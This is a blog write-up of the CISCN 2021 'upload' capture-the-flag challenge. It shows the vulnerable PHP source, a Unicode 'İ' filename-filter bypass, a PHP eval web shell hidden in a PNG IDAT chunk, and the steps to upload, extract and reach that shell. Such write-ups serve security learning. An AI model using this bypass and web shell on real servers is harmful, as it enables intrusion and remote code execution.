CISCN2021Quals-upload


CISCN2021Quals-upload

知识点概要:文件上传bypass

首页源码

<?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="upload") {
    if ($_FILES['postedFile']['size'] > 1024*512) {
        die("这么大个的东西你是想d我吗?");
    }
    $imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
    if ($imageinfo === FALSE) {
        die("如果不能好好传图片的话就还是不要来打扰我了");
    }
    if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
        die("东西不能方方正正的话就很讨厌");
    }
    $fileName=urldecode($_FILES['postedFile']['name']);
    if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
        die("有些东西让你传上去的话那可不得了");
    }
    $imagePath = "image/" . mb_strtolower($fileName);
    if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
        echo "upload success, image at $imagePath";
    } else {
        die("传都没有传上去");
    }
}

文件大小需小于512KB,需是图片,图片宽高需都为1,文件名不能有字符c、i、h、ph(不区分大小写),相当于过滤了.htaccess.use.ini

getimagesize()参考:https://www.runoob.com/php/php-getimagesize.html

使用如下内容绕过图片宽高需都为1的限制

#define width 1
#define height 1

$_FILES数组参考php官方手册:https://www.php.net/manual/zh/features.file-upload.post-method.php

$_FILES数组内容如下:
<input name="userfile" type="file" />
$_FILES['userfile']['size'] 
已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] 
文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['name']
客户端机器文件的原名称。
$_FILES['userfile']['type'] 
文件的 MIME 类型,需要浏览器提供该信息的支持,例如“image/gif”。

目录扫描得到/example.php文件

<?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="poc") {
    $zip = new \ZipArchive();
    $name_for_zip = "example/" . $_POST["file"];
    if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
        die("要不咱们再看看?");
    }
    if ($zip->open($name_for_zip) !== TRUE) {
        die ("都不能解压呢");
    }

    echo "可以解压,我想想存哪里";
    $pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
    $zip->extractTo($pos_for_zip);
    $zip->close();
    unlink($name_for_zip);
    $files = glob("$pos_for_zip/*");
    foreach($files as $file){
        if (is_dir($file)) {
            continue;
        }
        $first = imagecreatefrompng($file);		# 由 $file 创建一个新图像
        $size = min(imagesx($first), imagesy($first));
        $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);		# 将图像裁剪到给定的矩形
        if ($second !== FALSE) {
            $final_name = pathinfo($file)["basename"];	# 相当于文件名
            imagepng($second, 'example/'.$final_name);
            imagedestroy($second);
        }
        imagedestroy($first);
        unlink($file);
    }

}

需要传.zip文件,但是首页源码把i这个字母过滤掉了,我们只能思考首页源码第25行mb_strtolower()函数可否利用。可以利用一些unicode字符绕过。经过测试发现

<?php
var_dump(mb_strtolower('İ')==='i');
?>
#结果为true,并且首页源码第21行还执行了urldecode。所以可以用%c4%b0代替'İ'字符

为了绕过图片检测,将一句话写入png图片脚本如下(图片隐写技巧):

https://github.com/huntergregal/PNG-IDAT-Payload-Generator/

在[Entropy - CyberChef](https://gchq.github.io/CyberChef/#recipe=Entropy(‘Shannon scale’))进行如下解码操作(中间Raw Deflate是PNG图片IDAT的压缩算法deflate/inflate,参考:https://vivaxyblog.github.io/2019/12/07/decode-a-png-image-with-javascript-cn.html)

在十六进制编辑器Winhex里修改payload如下

修改前后十六进制值对比如下

5b 3c 3f 3d 24 5f 47 45 54 5b 30 5d 28 24 5f 50 4f 53 54 5b 31 5d 29 3b 3f 3e 58 00 00
5B 3C 3F 3D 45 56 41 4C 28 24 5F 50 4F 53 54 5B 31 5D 29 3B 20 20 20 20 3F 3E 58 00 00

然后再进行编码

a39f67641d201612546f112e29152b2167226b505050506f5f5310

修改代码如下

生成带有payload的a.png,然后修改图片后缀为php并压缩成zip

本地phpstudy开启一个web服务,访问如下代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传页面</title>
</head>
<body>
<form action="http://666a12e6-ffb1-4a49-b7cc-ba6766cecb88.node4.buuoj.cn:81/upload.php?ctf=upload" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="postedFile" id="postedFile"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

在页面中上传a.zip,然后抓包修改如下两个位置,发送请求包即可看到响应上传成功

然后访问/example.php?ctf=poc,并发送post数据,解压a.zip

由example.php文件的第35行代码imagepng($second, 'example/'.$final_name);可知,文件最终路径在/example/a.php,蚁剑访问连接,在/etc子目录下读到flag

参考

https://blog.csdn.net/jiangdie666/article/details/116997461


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录